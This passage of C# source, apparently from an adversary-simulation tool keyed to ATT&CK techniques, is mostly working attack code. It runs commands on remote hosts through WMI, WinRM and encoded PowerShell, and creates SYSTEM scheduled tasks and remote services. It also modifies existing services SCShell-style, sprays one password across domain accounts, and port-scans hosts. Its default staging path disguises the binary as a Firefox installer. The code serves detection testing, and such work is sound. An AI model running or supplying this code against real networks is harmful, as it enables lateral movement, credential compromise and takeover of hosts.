public static void NetworkShareEnumerationCmdRemote(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1135"); logger.TimestampInfo("Using the command line to execute the technique"); try { List <Computer> target_hosts = Targets.GetHostTargets(playbook_task, logger); if (playbook_task.task_sleep > 0) { logger.TimestampInfo(String.Format("Sleeping {0} seconds between each network scan", playbook_task.task_sleep)); } foreach (Computer computer in target_hosts) { ExecutionHelper.StartProcessApi("", String.Format("net view \\\\{0}", computer.IPv4), logger); } logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void CreateRemoteScheduledTaskCmdline(Computer computer, PlaybookTask playbook_task, Logger logger) { string target = ""; if (!computer.Fqdn.Equals("")) { target = computer.Fqdn; } else if (!computer.ComputerName.Equals("")) { target = computer.ComputerName; } else { target = computer.IPv4; } string createTask = string.Format(@"/create /s {0} /sc ONCE /st 13:30 /tn ""{1}"" /tr {2} /rl HIGHEST /ru SYSTEM", target, playbook_task.taskName, playbook_task.taskPath); string runTask = string.Format(@"/run /s {0} /tn ""{1}""", target, playbook_task.taskName);; string deleteTask = string.Format(@"/delete /s {0} /tn ""{1}"" /F", target, playbook_task.taskName); string results = ExecutionHelper.StartProcessNET("schtasks.exe", createTask, logger); if (!results.Contains("Access is denied")) { ExecutionHelper.StartProcessNET("schtasks.exe", runTask, logger); if (playbook_task.cleanup) { ExecutionHelper.StartProcessNET("schtasks.exe", deleteTask, logger); } } else { throw new Exception(); } }
public static void WmiRemoteCodeExecutionCmdline(Computer computer, PlaybookTask playbook_task, Logger logger) { string target = ""; if (!computer.Fqdn.Equals("")) { target = computer.Fqdn; } else if (!computer.ComputerName.Equals("")) { target = computer.ComputerName; } else { target = computer.IPv4; } string startProcess = string.Format(@"/node:""{0}"" process call create ""{1}"" ", target, playbook_task.command); string results = ExecutionHelper.StartProcessNET("wmic.exe", startProcess, logger); if (results.Contains("Access is denied")) { throw new Exception(); } }
public static void WinRMCodeExecutionPowerShell(Computer computer, PlaybookTask playbook_task, Logger logger) { string target = ""; if (!computer.Fqdn.Equals("")) { target = computer.Fqdn; } else if (!computer.ComputerName.Equals("")) { target = computer.ComputerName; } else { target = computer.IPv4; } string cleanPws = String.Format("Invoke-Command -ComputerName {0} -ScriptBlock {{ {1} }}", target, playbook_task.command); logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); string results = ExecutionHelper.StartProcessNET("powershell.exe", String.Format("-enc {0}", Convert.ToBase64String(plainTextBytes)), logger); if (results.Contains("AccessDenied")) { throw new Exception(); } }
public static void WinRMCodeExecutionNET(Computer computer, PlaybookTask playbook_task, Logger logger) { string target = ""; if (!computer.Fqdn.Equals("")) { target = computer.Fqdn; } else if (!computer.ComputerName.Equals("")) { target = computer.ComputerName; } else { target = computer.IPv4; } try { var connectTo = new Uri(String.Format("http://{0}:5985/wsman", target)); logger.TimestampInfo(String.Format("Connecting to http://{0}:5985/wsman", target)); var connection = new WSManConnectionInfo(connectTo); var runspace = RunspaceFactory.CreateRunspace(connection); runspace.Open(); using (var powershell = PowerShell.Create()) { powershell.Runspace = runspace; powershell.AddScript(playbook_task.command); var results = powershell.Invoke(); runspace.Close(); logger.TimestampInfo(String.Format("Successfully executed {0} using WinRM on {1}", playbook_task.command, computer.ComputerName)); /* * Console.WriteLine("Return command "); * foreach (var obj in results.Where(o => o != null)) * { * Console.WriteLine("\t" + obj); * } */ } } catch (Exception ex) { if (ex.Message.Contains("Access is denied")) { logger.TimestampInfo(String.Format("Failed to start a process using WinRM on {0}. (Access Denied)", computer.Fqdn)); throw new Exception(); } else if (ex.GetType().ToString().Contains("PSRemotingTransportException")) { logger.TimestampInfo(String.Format("Failed to start a process using WinRM on {0}. (Connection Issues)", computer.Fqdn)); throw new Exception(); } else { logger.TimestampInfo(String.Format("Failed to start a process using WinRM on {0}. {1}", computer.Fqdn, ex.GetType())); throw new Exception(); } } }
public static void DomaiGroupDiscoveryLdap(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1069.002"); logger.TimestampInfo("Using LDAP to execute technique"); try { if (playbook_task.groups.Length > 0) { foreach (string group in playbook_task.groups) { logger.TimestampInfo(String.Format("Querying LDAP for members of '{0}'", group)); DiscoveryHelper.LdapQueryForObjects(logger, 2, "", group); } logger.SimulationFinished(); } else { logger.TimestampInfo("Querying LDAP for all groups"); DiscoveryHelper.LdapQueryForObjects(logger, 2); logger.SimulationFinished(); } } catch (Exception ex) { logger.SimulationFailed(ex); } }
// From https://stackoverflow.com/questions/23481394/programmatically-install-windows-service-on-remote-machine // and https://stackoverflow.com/questions/37983453/how-to-deploy-windows-service-on-remote-system-using-c-sharp-programatically public static void CreateRemoteServiceCmdline(Computer computer, PlaybookTask playbook_task, Logger logger) { string target = ""; if (!computer.Fqdn.Equals("")) { target = computer.Fqdn; } else if (!computer.ComputerName.Equals("")) { target = computer.ComputerName; } else { target = computer.IPv4; } string createService = string.Format(@"\\{0} create ""{1}"" binpath= ""{2}""", target, playbook_task.serviceName, playbook_task.servicePath); string runService = string.Format(@"\\{0} start ""{1}""", target, playbook_task.serviceName);; string deleteService = string.Format(@"\\{0} delete ""{1}""", target, playbook_task.serviceName); string results = ExecutionHelper.StartProcessNET("sc.exe", createService, logger); if (!results.Contains("Access is denied")) { ExecutionHelper.StartProcessNET("sc.exe", runService, logger); if (playbook_task.cleanup) { ExecutionHelper.StartProcessNET("sc.exe", deleteService, logger); } } else { throw new Exception(); } }
public static void DomainGroupDiscoveryPowerShell(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1069.002"); logger.TimestampInfo("Using PowerShell to execute the technique"); try { if (playbook_task.groups.Length > 0) { foreach (string group in playbook_task.groups) { string cleanPws = String.Format("Get-AdGroup -Filter {{Name -like '{0}'}} | Get-ADGroupMember | Select SamAccountName", group); logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); //ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); ExecutionHelper.StartProcessNET("powershell.exe", String.Format("-enc {0}", Convert.ToBase64String(plainTextBytes)), logger); } logger.SimulationFinished(); } else { string cleanPws = String.Format("Get-AdGroup -Filter {{Name -like 'Domain Admins'}} | Get-ADGroupMember | Select SamAccountName"); logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); logger.SimulationFinished(); } } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void DomainGroupDiscoveryCmd(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1069.002"); logger.TimestampInfo("Using the command line to execute technique"); try { if (playbook_task.groups.Length > 0) { foreach (string group in playbook_task.groups) { ExecutionHelper.StartProcessNET("net.exe", String.Format("group \"{0}\" /domain", group), logger); //ExecutionHelper.StartProcessApi("", String.Format("net group \"{0}\" /domain", group), logger); } logger.SimulationFinished(); } else { ExecutionHelper.StartProcessNET("net.exe", String.Format("group /domain"), logger); //ExecutionHelper.StartProcessApi("", "net group /domain", logger); logger.SimulationFinished(); } } catch (Exception ex) { logger.SimulationFailed(ex); } }
static public void CreateRemoteServiceOnHosts(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1021.002"); if (playbook_task.variation == 1) { logger.TimestampInfo("Using sc.exe to execute this technique against remote hosts"); } else if (playbook_task.variation == 2) { logger.TimestampInfo("Using the Win32 API CreateService function to execute this technique against remote hosts"); } List <Computer> host_targets = new List <Computer>(); List <Task> tasklist = new List <Task>(); if (playbook_task.serviceName.Equals("random")) { string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789".ToLower(); Random random = new Random(); logger.TimestampInfo("Using random Service Name"); playbook_task.serviceName = new string(Enumerable.Repeat(chars, 8).Select(s => s[random.Next(s.Length)]).ToArray()); } try { host_targets = Targets.GetHostTargets(playbook_task, logger); foreach (Computer computer in host_targets) { Computer temp = computer; if (!computer.ComputerName.ToUpper().Contains(Environment.MachineName.ToUpper())) { tasklist.Add(Task.Factory.StartNew(() => { if (playbook_task.variation == 1) { LateralMovementHelper.CreateRemoteServiceCmdline(temp, playbook_task, logger); } else if (playbook_task.variation == 2) { LateralMovementHelper.CreateRemoteServiceApi(temp, playbook_task, logger); } })); if (playbook_task.task_sleep > 0) { logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); } } } Task.WaitAll(tasklist.ToArray()); logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
static public void WinRmCodeExec(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1021.006"); if (playbook_task.variation == 1) { logger.TimestampInfo("Using powershell.exe to execute this technique against remote hosts"); } else if (playbook_task.variation == 2) { logger.TimestampInfo("Using the System.Management.Automation .NET namespace to execute this technique"); } List <Computer> host_targets = new List <Computer>(); List <Task> tasklist = new List <Task>(); try { host_targets = Targets.GetHostTargets(playbook_task, logger); foreach (Computer computer in host_targets) { Computer temp = computer; if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) { tasklist.Add(Task.Factory.StartNew(() => { if (playbook_task.variation == 1) { LateralMovementHelper.WinRMCodeExecutionPowerShell(temp, playbook_task, logger); } else if (playbook_task.variation == 2) { LateralMovementHelper.WinRMCodeExecutionNET(temp, playbook_task, logger); } })); if (playbook_task.task_sleep > 0) { logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); } } } Task.WaitAll(tasklist.ToArray()); logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void LocalDomainPasswordSpray(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Lib.Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1110.003"); logger.TimestampInfo(String.Format("Local Domain Brute Force using the LogonUser Win32 API function")); logger.TimestampInfo(String.Format("Using {0}", playbook_task.protocol)); try { List <User> usertargets = Targets.GetUserTargets(playbook_task, logger); if (playbook_task.task_sleep > 0) { logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); } String domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; //if (playbook_task.user_target_type == 6) domain = "."; foreach (var user in usertargets) { if (playbook_task.protocol.ToUpper().Equals("KERBEROS")) { CredAccessHelper.LogonUser(user.UserName, domain, playbook_task.spray_password, 2, 0, logger); if (playbook_task.task_sleep > 0) { Thread.Sleep(playbook_task.task_sleep * 1000); } } else { CredAccessHelper.LogonUser(user.UserName, domain, playbook_task.spray_password, 2, 2, logger); if (playbook_task.task_sleep > 0) { Thread.Sleep(playbook_task.task_sleep * 1000); } } } logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void NetworkServiceDiscovery(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1046"); logger.TimestampInfo("Using the System.Net.Sockets .NET namespace to execute this technique"); try { List <Task> tasklist = new List <Task>(); List <Computer> target_hosts = Targets.GetHostTargets(playbook_task, logger); //logger.TimestampInfo(String.Format("Obtained {0} target computers for the scan", target_hosts.Count)); if (playbook_task.task_sleep > 0) { logger.TimestampInfo(String.Format("Sleeping {0} seconds between each network scan", playbook_task.task_sleep)); } foreach (Computer computer in target_hosts) { //if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) //{ Computer temp = computer; TimeSpan interval = TimeSpan.FromSeconds(5); tasklist.Add(Task.Factory.StartNew(() => { logger.TimestampInfo(String.Format("Starting port scan against {0} ({1})", temp.ComputerName, temp.IPv4)); DiscoveryHelper.PortScan(temp, interval, playbook_task.ports, logger); })); if (playbook_task.task_sleep > 0) { Thread.Sleep(playbook_task.task_sleep * 1000); } //} } Task.WaitAll(tasklist.ToArray()); logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
static public void ModifyRemoteServiceOnHosts(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1021.002"); logger.TimestampInfo("Using the Win32 API CreateService function to execute this technique against remote hosts"); List <Computer> host_targets = new List <Computer>(); List <Task> tasklist = new List <Task>(); try { host_targets = Targets.GetHostTargets(playbook_task, logger); foreach (Computer computer in host_targets) { Computer temp = computer; if (!computer.ComputerName.ToUpper().Contains(Environment.MachineName.ToUpper())) { //LateralMovementHelper.ModifyRemoteServiceApi(temp, playbook_task, logger); tasklist.Add(Task.Factory.StartNew(() => { LateralMovementHelper.ModifyRemoteServiceApi(temp, playbook_task, logger); })); if (playbook_task.task_sleep > 0) { logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); } } } Task.WaitAll(tasklist.ToArray()); logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void NetworkShareEnumerationApiRemote(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1135"); logger.TimestampInfo("Using the Win32 API NetShareEnum function to execute this technique"); try { //List<Computer> targetcomputers = Lib.Targets.GetHostTargets_old(computertype, nhosts, logger); List <Task> tasklist = new List <Task>(); List <Computer> target_hosts = Targets.GetHostTargets(playbook_task, logger); if (playbook_task.task_sleep > 0) { logger.TimestampInfo(String.Format("Sleeping {0} seconds between each enumeration attempt", playbook_task.task_sleep)); } foreach (Computer computer in target_hosts) { if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) { tasklist.Add(Task.Factory.StartNew(() => { DiscoveryHelper.ShareEnum(computer, logger); })); if (playbook_task.task_sleep > 0) { Thread.Sleep(playbook_task.task_sleep * 1000); } } } Task.WaitAll(tasklist.ToArray()); logger.SimulationFinished(); } catch (Exception ex) { logger.SimulationFailed(ex); } }
public static void WmiRemoteCodeExecutionNET(Computer computer, PlaybookTask playbook_task, Logger logger) { string target = ""; if (!computer.Fqdn.Equals("")) { target = computer.Fqdn; } else if (!computer.ComputerName.Equals("")) { target = computer.ComputerName; } else { target = computer.IPv4; } try { ConnectionOptions connectoptions = new ConnectionOptions(); var processToRun = new[] { playbook_task.command }; var wmiScope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", target), connectoptions); var wmiProcess = new ManagementClass(wmiScope, new ManagementPath("Win32_Process"), new ObjectGetOptions()); wmiProcess.InvokeMethod("Create", processToRun); logger.TimestampInfo(String.Format("Successfully executed {0} using WMI's Win32_Process on {1}", playbook_task.command, target)); } catch (Exception ex) { //DateTime dtime = DateTime.Now; if (ex.Message.Contains("ACCESSDENIED")) { logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. (Access Denied)", target)); } else { logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. {1}", target, ex.GetType())); } } }
public static void Main(string[] args) { bool cleanup, opsec, verbose, scoutservice, simservice, newchild, scout, remote, navigator; string techniques, rhost, domain, ruser, rpwd, scoutfpath, simrpath, log, dc, pb_file, nav_action, navfile, scout_action, scout_np, simulator_np; int pbsleep, tsleep, nusers, nhosts; pbsleep = tsleep = 0; nusers = nhosts = 5; opsec = cleanup = true; verbose = scoutservice = simservice = newchild = scout = remote = navigator = false; techniques = rhost = domain = ruser = rpwd = dc = pb_file = nav_action = navfile = scout_action = ""; scoutfpath = "C:\\Windows\\Temp\\Scout.exe"; simrpath = "Downloads\\Firefox_Installer.exe"; log = "0001.dat"; scout_np = "scoutpipe"; simulator_np = "simpipe"; //should move this to sqlite or a JSON file. string[] execution = new string[] { "T1053.005", "T1059.003", "T1059.005", "T1059.007", "T1059.001", "T1569.002" }; string[] persistence = new string[] { "T1053.005", "T1136.001", "T1543.003", "T1547.001", "T1546.003", "T1197" }; string[] privelege_escalation = new string[] { "T1053.005", "T1543.003", "T1547.001", "T1546.003", "T1055.002", "T1055.004" }; string[] defense_evasion = new string[] { "T1218.010", "T1218.005", "T1218.003", "T1218.011", "T1070.001", "T1220", "T1055.002", "T1055.004", "T1140", "T1197", "T1218.009", "T1218.004" }; string[] credential_access = new string[] { "T1110.003", "T1558.003", "T1003.001" }; string[] discovery = new string[] { "T1135", "T1046", "T1087.001", "T1087.002", "T1007", "T1033", "T1049", "T1016", "T1083" }; string[] lateral_movement = new string[] { "T1021", "T1021.006", "T1047" }; string[] supported_techniques = execution.Union(persistence).Union(privelege_escalation).Union(defense_evasion).Union(credential_access).Union(discovery).Union(lateral_movement).ToArray(); if (args.Length == 0) { Usage(); return; } for (int i = 0; i < args.Length; i++) { try { switch (args[i]) { //// User Parameters //// case "/pb": pb_file = args[i + 1]; break; case "/rhost": rhost = args[i + 1]; remote = true; break; case "/ruser": ruser = args[i + 1]; break; case "/d": domain = args[i + 1]; break; case "/rpwd": rpwd = args[i + 1]; break; case "/dc": dc = args[i + 1]; break; case "/t": techniques = args[i + 1]; break; case "/scoutpath": scoutfpath = args[i + 1]; break; case "/simpath": simrpath = args[i + 1]; break; case "/pbsleep": pbsleep = Int32.Parse(args[i + 1]); break; case "/tsleep": tsleep = Int32.Parse(args[i + 1]); break; case "/noopsec": opsec = false; break; case "/v": verbose = true; break; case "/nocleanup": cleanup = false; break; case "/scout": scout = true; scout_action = args[i + 1]; break; case "/navigator": navigator = true; nav_action = args[i + 1]; if (nav_action.Equals("import")) { navfile = args[i + 2]; } break; //// Internal Parameters //// case "/o": scoutservice = true; break; case "/s": simservice = true; break; case "/n": newchild = true; break; default: break; } } catch { Console.WriteLine("[*] Error parsing parameters :( "); Console.WriteLine("[*] Exiting"); return; } } //// Handling Internal Parameters //// if (newchild) { const uint NORMAL_PRIORITY_CLASS = 0x0020; Structs.PROCESS_INFORMATION pInfo = new Structs.PROCESS_INFORMATION(); Structs.STARTUPINFO sInfo = new Structs.STARTUPINFO(); Structs.SECURITY_ATTRIBUTES pSec = new Structs.SECURITY_ATTRIBUTES(); Structs.SECURITY_ATTRIBUTES tSec = new Structs.SECURITY_ATTRIBUTES(); pSec.nLength = Marshal.SizeOf(pSec); tSec.nLength = Marshal.SizeOf(tSec); string currentbin = System.Reflection.Assembly.GetEntryAssembly().Location; //run the simulation agent WinAPI.CreateProcess(null, currentbin + " /s", ref pSec, ref tSec, false, NORMAL_PRIORITY_CLASS, IntPtr.Zero, null, ref sInfo, out pInfo); return; } if (scoutservice) { NamedPipes.RunScoutService(scout_np, simulator_np, log); return; } if (simservice) { string[] options = NamedPipes.RunSimulationService(simulator_np, log); ExecuteTechniques(options[0], nusers, nhosts, Int32.Parse(options[1]), Int32.Parse(options[2]), log, bool.Parse(options[3])); return; } //// Handling User Parameters //// if (navigator) { if (nav_action.Equals("export")) { try { Console.WriteLine("[+] PurpleSharp supports " + supported_techniques.Count() + " unique ATT&CK techniques."); Console.WriteLine("[+] Generating an ATT&CK Navigator layer..."); Json.ExportAttackLayer(supported_techniques.Distinct().ToArray()); Console.WriteLine("[!] Open PurpleSharp.json on https://mitre-attack.github.io/attack-navigator"); return; } catch { Console.WriteLine("[!] Error generating JSON layer..."); Console.WriteLine("[!] Exitting..."); return; } } else if (nav_action.Equals("import")) { Console.WriteLine("[+] Loading {0}", navfile); string json = File.ReadAllText(navfile); NavigatorLayer layer = Json.ReadNavigatorLayer(json); Console.WriteLine("[!] Loaded attack navigator '{0}'", layer.name); Console.WriteLine("[+] Converting ATT&CK navigator Json..."); SimulationExercise engagement = Json.ConvertNavigatorToSimulationExercise(layer, supported_techniques.Distinct().ToArray()); Json.CreateSimulationExercise(engagement); Console.WriteLine("[!] Done"); Console.WriteLine("[+] Open simulation.json"); return; } else { Console.WriteLine("[!] Didnt recognize parameter..."); Console.WriteLine("[!] Exitting..."); return; } } if (scout && !scout_action.Equals("")) { if (!rhost.Equals("") && !domain.Equals("") && !ruser.Equals("")) { if (rpwd == "") { Console.Write("Password for {0}\\{1}: ", domain, ruser); rpwd = Utils.GetPassword(); Console.WriteLine(); } if (!rhost.Equals("random")) { Scout(rhost, domain, ruser, rpwd, scoutfpath, log, scout_action, scout_np, verbose); return; } else if (!dc.Equals("")) { List <Computer> targets = new List <Computer>(); targets = Ldap.GetADComputers(10, dc, ruser, rpwd); if (targets.Count > 0) { Console.WriteLine("[+] Obtained {0} possible targets.", targets.Count); var random = new Random(); int index = random.Next(targets.Count); Console.WriteLine("[+] Picked Random host for simulation: " + targets[index].Fqdn); Scout(targets[index].ComputerName, domain, ruser, rpwd, scoutfpath, log, scout_action, scout_np, verbose); return; } else { Console.WriteLine("[!] Could not obtain targets for the simulation"); return; } } else { Console.WriteLine("[*] Missing parameters :( "); Console.WriteLine("[*] Exiting"); return; } } else { Console.WriteLine("[*] Missing parameters :( "); Console.WriteLine("[*] Exiting"); return; } } if (!pb_file.Equals("")) { string json = File.ReadAllText(pb_file); SimulationExercise engagement = Json.ReadSimulationPlaybook(json); if (engagement != null) { Console.Write("Submit Password for {0}\\{1}: ", engagement.domain, engagement.username); string pass = Utils.GetPassword(); Console.WriteLine("[+] PurpleSharp will execute {0} playbook(s)", engagement.playbooks.Count); SimulationExerciseResult engagementResults = new SimulationExerciseResult(); engagementResults.playbookresults = new List <SimulationPlaybookResult>(); SimulationPlaybook lastPlaybook = engagement.playbooks.Last(); foreach (SimulationPlaybook playbook in engagement.playbooks) { SimulationPlaybookResult playbookResults = new SimulationPlaybookResult(); playbookResults.taskresults = new List <PlaybookTaskResult>(); playbookResults.name = playbook.name; playbookResults.host = playbook.host; Console.WriteLine("[+] Starting Execution of {0}", playbook.name); PlaybookTask lastTask = playbook.tasks.Last(); List <string> techs = new List <string>(); foreach (PlaybookTask task in playbook.tasks) { techs.Add(task.technique); } string techs2 = String.Join(",", techs); if (playbook.host.Equals("random")) { List <Computer> targets = Ldap.GetADComputers(10, engagement.dc, engagement.username, pass); if (targets.Count > 0) { Console.WriteLine("[+] Obtained {0} possible targets.", targets.Count); var random = new Random(); int index = random.Next(targets.Count); Console.WriteLine("[+] Picked random host for simulation: " + targets[index].Fqdn); Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, targets[index].Fqdn); playbookResults = ExecuteRemoteTechniquesJson(targets[index].Fqdn, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); playbookResults.name = playbook.name; } else { Console.WriteLine("[!] Could not obtain targets for the simulation"); } } else { Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, playbook.host); playbookResults = ExecuteRemoteTechniquesJson(playbook.host, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); playbookResults.name = playbook.name; } if (engagement.sleep > 0 && !playbook.Equals(lastPlaybook)) { Console.WriteLine(); Console.WriteLine("[+] Sleeping {0} minutes until next playbook...", engagement.sleep); Thread.Sleep(1000 * engagement.sleep * 60); } engagementResults.playbookresults.Add(playbookResults); } Console.WriteLine("Writting JSON results..."); string output_file = pb_file.Replace(".json", "") + "_results.json"; Json.WriteJsonPlaybookResults(engagementResults, output_file); Console.WriteLine("DONE. Open " + output_file); Console.WriteLine(); return; } else { Console.WriteLine("[!] Could not parse JSON input."); Console.WriteLine("[*] Exiting"); return; } } if (remote) { if (!rhost.Equals("") && !domain.Equals("") && !ruser.Equals("") && !techniques.Equals("")) { if (rpwd == "") { Console.Write("Password for {0}\\{1}: ", domain, ruser); rpwd = Utils.GetPassword(); Console.WriteLine(); } if (!rhost.Equals("random")) { ExecuteRemoteTechniques(rhost, domain, ruser, rpwd, techniques, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); return; } else if (!dc.Equals("")) { List <Computer> targets = new List <Computer>(); targets = Ldap.GetADComputers(10, dc, ruser, rpwd); if (targets.Count > 0) { Console.WriteLine("[+] Obtained {0} possible targets.", targets.Count); var random = new Random(); int index = random.Next(targets.Count); Console.WriteLine("[+] Picked Random host for simulation: " + targets[index].Fqdn); ExecuteRemoteTechniques(targets[index].Fqdn, domain, ruser, rpwd, techniques, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); return; } else { Console.WriteLine("[!] Could not obtain targets for the simulation"); return; } } else { Console.WriteLine("[*] Missing dc :( "); Console.WriteLine("[*] Exiting"); return; } } else { Console.WriteLine("[*] Missing parameters :( "); Console.WriteLine("[*] Exiting"); return; } } // running simulations locally else if (!techniques.Equals("")) { ExecuteTechniques(techniques, nusers, nhosts, pbsleep, tsleep, log, cleanup); } }
public static void CreateRemoteServiceApi(Computer computer, PlaybookTask playbook_task, Logger logger) { var scmHandle = IntPtr.Zero; int createdErr = 0; if (!computer.Fqdn.Equals("")) { scmHandle = WinAPI.OpenSCManager(computer.Fqdn, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); } else if (!computer.ComputerName.Equals("")) { scmHandle = WinAPI.OpenSCManager(computer.ComputerName, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); } else { scmHandle = WinAPI.OpenSCManager(computer.IPv4, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); } if (scmHandle == IntPtr.Zero) { createdErr = Marshal.GetLastWin32Error(); logger.TimestampInfo(String.Format("Could not obtain a handle to the Service Control Manager on {0}.", computer.Fqdn)); throw new Win32Exception(createdErr); } IntPtr svcHandleCreated = IntPtr.Zero; bool created = CreateService(scmHandle, playbook_task.servicePath, playbook_task.serviceName, playbook_task.serviceName, out svcHandleCreated, out createdErr);; if (created) { logger.TimestampInfo(String.Format("Created service '{0}' on {1} with 'CreateService' Win32 API", playbook_task.serviceName, computer.ComputerName)); WinAPI.StartService(svcHandleCreated, 0, null); logger.TimestampInfo(String.Format("Service '{0}' started on {1} with 'StartService' Win32 API", playbook_task.serviceName, computer.ComputerName)); if (playbook_task.cleanup) { IntPtr svcHandleOpened = WinAPI.OpenService(scmHandle, playbook_task.serviceName, Structs.SERVICE_ACCESS.SERVICE_ALL_ACCESS); bool deletedService = WinAPI.DeleteService(svcHandleOpened); logger.TimestampInfo(String.Format("Deleted service '{0}' on {1} with 'DeleteService' Win32API", playbook_task.serviceName, computer.ComputerName)); WinAPI.CloseServiceHandle(svcHandleOpened); } else { logger.TimestampInfo(String.Format("The created Service: {0} was not deleted on {1} as part of the simulation", playbook_task.serviceName, computer.ComputerName)); } } else { // service was not created if (createdErr == 1073) { // Error: "The specified service already exists" logger.TimestampInfo(String.Format("Failed to create service {0} on {1}. Service already exists", playbook_task.serviceName, computer.ComputerName)); } else { // Some other serice creation error logger.TimestampInfo(String.Format("Failed to create service {0} on {1}.", playbook_task.serviceName, computer.ComputerName)); throw new Win32Exception(createdErr); } } WinAPI.CloseServiceHandle(svcHandleCreated); WinAPI.CloseServiceHandle(scmHandle); }
//Based on https://github.com/Mr-Un1k0d3r/SCShell public static void ModifyRemoteServiceApi(Computer computer, PlaybookTask playbook_task, Logger logger) { var scmHandle = IntPtr.Zero; int createdErr = 0; int bytesNeeded = 0; IntPtr qscPtr = IntPtr.Zero; if (!computer.Fqdn.Equals("")) { scmHandle = WinAPI.OpenSCManager(computer.Fqdn, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); } else if (!computer.ComputerName.Equals("")) { scmHandle = WinAPI.OpenSCManager(computer.ComputerName, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); } else { scmHandle = WinAPI.OpenSCManager(computer.IPv4, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); } if (scmHandle == IntPtr.Zero) { createdErr = Marshal.GetLastWin32Error(); logger.TimestampInfo(String.Format("Could not obtain a handle to the Service Control Manager on {0}.", computer.Fqdn)); throw new Win32Exception(createdErr); } if (!playbook_task.serviceName.Equals("random")) { IntPtr svcHandleOpened = WinAPI.OpenService(scmHandle, playbook_task.serviceName, Structs.SERVICE_ACCESS.SERVICE_ALL_ACCESS); if (svcHandleOpened == IntPtr.Zero) { logger.TimestampInfo(String.Format("Could not obtain a handle to remote Service {0}.", playbook_task.serviceName)); throw new Win32Exception(createdErr); } Structs.QueryServiceConfig qscs = new Structs.QueryServiceConfig(); int retCode = WinAPI.QueryServiceConfig(svcHandleOpened, qscPtr, 0, ref bytesNeeded); if (retCode == 0 && bytesNeeded == 0) { throw new Win32Exception(); } qscPtr = Marshal.AllocCoTaskMem((int)bytesNeeded); retCode = WinAPI.QueryServiceConfig(svcHandleOpened, qscPtr, bytesNeeded, ref bytesNeeded); logger.TimestampInfo(String.Format("Got handle for remote Service {0}.", playbook_task.serviceName)); qscs = (Structs.QueryServiceConfig)Marshal.PtrToStructure(qscPtr, new Structs.QueryServiceConfig().GetType()); string originalBinaryPath = Marshal.PtrToStringAuto(qscs.binaryPathName); 